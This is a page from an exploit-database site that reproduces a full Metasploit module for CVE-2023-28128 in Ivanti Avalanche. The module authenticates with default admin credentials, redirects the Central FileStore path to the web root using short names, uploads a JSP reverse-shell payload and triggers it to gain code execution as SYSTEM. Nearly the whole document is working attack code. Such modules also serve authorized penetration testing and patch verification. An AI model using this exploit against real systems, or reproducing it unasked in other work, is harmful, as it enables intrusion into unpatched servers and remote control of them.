0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Ivanti Avalanche FileStoreConfig Shell Upload Exploit
Author
Risk
[
Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Ivanti Avalanche FileStoreConfig File Upload', 'Description' => %q{ Ivanti Avalanche prior to v6.4.0.186 permits MS-DOS style short names in the configuration path for the Central FileStore. Because of this, an administrator can change the default path to the web root of the applications, upload a JSP file, and achieve RCE as NT AUTHORITY\SYSTEM. }, 'License' => MSF_LICENSE, 'Author' => [ 'Piotr Bazydlo', # @chudypb - Vulnerability Discovery 'Shelby Pace' # Metasploit module ], 'References' => [ ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-456/'], ['URL', 'https://forums.ivanti.com/s/article/ZDI-CAN-17812-Ivanti-Avalanche-FileStoreConfig-Arbitrary-File-Upload-Remote-Code-Execution-Vulnerability?language=en_US'], ['URL', 'https://attackerkb.com/topics/jcdcN9SN9V/cve-2023-28128'], ['CVE', '2023-28128'] ], 'Platform' => ['win', 'java'], 'Privileged' => true, 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'Automatic Target', { 'DefaultOptions' => { 'Payload' => 'java/jsp_shell_reverse_tcp' } }] ], 'DisclosureDate' => '2023-04-24', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ] } ) ) register_options( [ Opt::RPORT(8080), OptString.new('USERNAME', [ true, 'User name to log in with', 'amcadmin' ]), OptString.new('PASSWORD', [ true, 'Password to log in with', 'admin' ]), OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/AvalancheWeb' ]) ] ) end def check # Cleanup should not be needed after doing just a check. @cleanup_needed = false res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'login.jsf'), 'method' => 'GET' ) return CheckCode::Unknown('Failed to receive a response from the application') unless res unless res.body.include?('Avalanche - User Login') return CheckCode::Safe('Application does not appear to be Ivanti Avalanche') end html = res.get_html_document elem = html.search('link')&.find { |link| link&.at('@href')&.text&.match(/\d+\.\d+\.\d+\.\d{1,4}/) } return CheckCode::Detected('Couldn\'t retrieve element containing Avalanche version') unless elem version = elem&.at('@href')&.value&.match(/(\d+\.\d+\.\d+\.\d{1,4})/) return CheckCode::Detected('Failed to retrieve software version') unless version && version.length >= 2 version = version[1] vprint_status("Version of Ivanti Avalanche appears to be v#{version}") ver_no = Rex::Version.new(version) patched_version = Rex::Version.new('6.4.0.186') if ver_no >= patched_version CheckCode::Safe('Target has been patched!') elsif ver_no < patched_version CheckCode::Appears('Target appears to be running an unpatched version of Ivanti Avalanche!') else CheckCode::Unknown("This should never be hit! Some error occurred when grabbing the target version: #{ver_no}") end end def authenticate if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank? fail_with(Failure::BadConfig, 'Please set the USERNAME and PASSWORD options') end res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'login.jsf'), 'method' => 'GET', 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('Avalanche - User Login') html = res.get_html_document view_state = get_view_state(html) fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after browsing to the login page.') unless view_state res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'login.jsf'), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { 'loginForm' => 'loginForm', 'j_idt8' => '', 'loginField' => datastore['USERNAME'], 'passwordField' => datastore['PASSWORD'], 'TextCaptchaAnswer' => '', 'javax.faces.ViewState' => view_state, 'loginTableButton' => 'loginTableButton' } ) unless res&.code == 302 && res&.headers&.dig('Location')&.include?('inventory.jsf') fail_with(Failure::UnexpectedReply, 'Login failed') end end def get_view_state(html) view_state = html.xpath("//input[@name='javax.faces.ViewState']")&.first&.at('@value')&.text view_state end def configure_filestore res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'GET', 'keep_cookies' => true ) unless res&.get_html_document&.xpath('//form[@id="form_filestore_tree"]')&.first fail_with(Failure::UnexpectedReply, 'Failed to access FileStore configuration') end html = res.get_html_document view_state = get_view_state(html) fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state from FileStoreConfig page') unless view_state @original_config_path = html.xpath("//input[@id='txtUncPath']")&.first&.at('@value')&.text fail_with(Failure::UnexpectedReply, 'Unable to grab FileStore path') unless @original_config_path print_status("Original FileStore config path: '#{@original_config_path}'") # determine drive letter drive_letter = @original_config_path.match(/([a-zA-Z])(:|\$)/) fail_with(Failure::UnexpectedReply, 'Couldn\'t determine drive letter for path') unless drive_letter&.length&.>= 3 drive_letter = drive_letter[1] new_config_path = "#{drive_letter}:\\PROGRA~1\\Wavelink\\AVALAN~1\\Web" print_status("Changing FileStore config path to '#{new_config_path}'") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { 'linkFileStoreConfigSave' => 'linkFileStoreConfigSave', 'formFileStoreConfig' => 'formFileStoreConfig', 'txtUncPath' => new_config_path, 'txtVelocityFolder' => '', 'javax.faces.ViewState' => view_state } ) input_field_html = res&.get_html_document&.xpath('//input[@id="txtUncPath"]')&.first if input_field_html.blank? fail_with(Failure::UnexpectedReply, 'Did not receive a response containing the expected txtUncPath input field!') elsif input_field_html[:value] != new_config_path fail_with(Failure::UnexpectedReply, 'Failed to change FileStore config path') end end def get_directory_val(res, dir_name) html = res.get_html_document results = html.xpath('//tr[contains(@class, "DIRECTORY")]') fail_with(Failure::UnexpectedReply, 'Failed to find list of expected directories') unless results expand_dir = results.find { |result| result.at('td')&.text&.strip == dir_name } fail_with(Failure::UnexpectedReply, "Failed to find the '#{dir_name}' directory to write to") unless expand_dir data_rk = expand_dir.at('@data-rk')&.value fail_with(Failure::UnexpectedReply, "Failed to get value to expand #{dir_name} directory") unless data_rk data_rk end def expand_folder(data_rk, view_state) send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { 'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree', 'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree', 'fileStoreTree_dlgFileStoreTree' => 'fileStoreTree_dlgFileStoreTree', 'fileStoreTree_dlgFileStoreTree_expand' => data_rk, 'javax.faces.ViewState' => view_state } ) end def select_folder(data_rk, view_state) @cleanup_needed = true send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { 'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree', 'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree', 'javax.faces.behavior.event' => 'select', 'javax.faces.partial.event' => 'select', 'fileStoreTree_dlgFileStoreTree_instantSelection' => data_rk, 'form_filestore_tree' => 'form_filestore_tree', 'fileStoreTree_dlgFileStoreTree_selection' => data_rk, 'javax.faces.ViewState' => view_state } ) end def upload_payload payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.jsp" # need to 'select' webapps/AvalancheWeb to upload a file res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'GET', 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Failed to access updated FileStore page') unless res&.get_html_document&.xpath('//form[@id="form_filestore_tree"]')&.first web_data_rk = get_directory_val(res, 'webapps') view_state = get_view_state(res.get_html_document) fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after accessing the updated FileStore page') unless view_state res = expand_folder(web_data_rk, view_state) fail_with(Failure::UnexpectedReply, 'Did not receive response from \'webapps\' expansion') unless res avalanche_data_rk = get_directory_val(res, 'AvalancheWeb') view_state = get_view_state(res.get_html_document) fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after getting the directory value for AvalancheWeb') unless view_state res = select_folder(avalanche_data_rk, view_state) fail_with(Failure::UnexpectedReply, 'Did not receive response from \'AvalancheWeb\' selection') unless res view_state = get_view_state(res.get_html_document) fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after selecting the AvalancheWeb folder') unless view_state boundary = "#{'-' * 4}WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}" post_data = "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"upload-form\"\r\n\r\n" post_data << "upload-form\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"javax.faces.ViewState\"\r\n\r\n" post_data << "#{view_state}\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.ajax\r\n\r\n" post_data << "true\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.execute\"\r\n\r\n" post_data << "importFileStoreItemPanel_dlgFileStoreTree\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"javax.faces.source\"\r\n\r\n" post_data << "importFileStoreItemPanel_dlgFileStoreTree\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.render\"\r\n\r\n" post_data << "fileStoreTree_dlgFileStoreTree managementBtns addFolderDialog_dlgFileStoreTree renameItemDialog_dlgFileStoreTree confirmDeleteItemDialog_dlgFileStoreTree importMessages\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"importFileStoreItemPanel_dlgFileStoreTree\"; filename=\"#{payload_name}\"\r\n" post_data << "Content-Type: application/octet-stream\r\n\r\n" post_data << "#{payload.encoded}\r\n" post_data << "--#{boundary}--\r\n" res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'POST', 'keep_cookies' => true, 'data' => post_data, 'headers' => { 'Accept' => 'application/xml, text/xml, */*; q=0.01', 'Faces-Request' => 'partial/ajax', 'X-RequestedWith' => 'XMLHttpRequest', 'Content-Type' => "multipart/form-data; boundary=#{boundary}", 'Accept-Encoding' => 'gzip, deflate' } ) fail_with(Failure::UnexpectedReply, 'Failed to upload payload') unless res&.body&.include?("Imported file #{payload_name}") print_good("Successfully uploaded '#{payload_name}'") payload_name end def cleanup if @cleanup_needed == false return end restore_msg = 'Please manually restore FileStore config via Tools -> Central FileStore -> Configurations.' print_status('Attempting to restore config path') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'GET', 'keep_cookies' => true ) unless res print_error("Could not access FileStore config. #{restore_msg}") return end html = res.get_html_document view_state = get_view_state(html) unless view_state print_error("Failed to get view state. #{restore_msg}") return end send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { 'linkFileStoreConfigSave' => 'linkFileStoreConfigSave', 'formFileStoreConfig' => 'formFileStoreConfig', 'txtUncPath' => @original_config_path, 'txtVelocityFolder' => '', 'javax.faces.ViewState' => view_state } ) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'GET', 'keep_cookies' => true ) unless res&.body&.include?(@original_config_path) print_warning("Failed to restore the FileStore config path to its original path. #{restore_msg}") return end print_good('Successfully restored the FileStore config path') end def exploit # Starting off we shouldn't need cleanup, however if we get to the point were we start # to change config settings then we will need to clean that up. @cleanup_needed = false authenticate configure_filestore payload_name = upload_payload register_file_for_cleanup("webapps/#{payload_name}") send_request_cgi( 'uri' => normalize_uri(target_uri.path, payload_name.gsub('jsp', 'jsf')), # bypasses the app's filter, but is still resolved by java faces servlet 'method' => 'GET', 'keep_cookies' => true ) end end # 0day.today [2024-11-16] #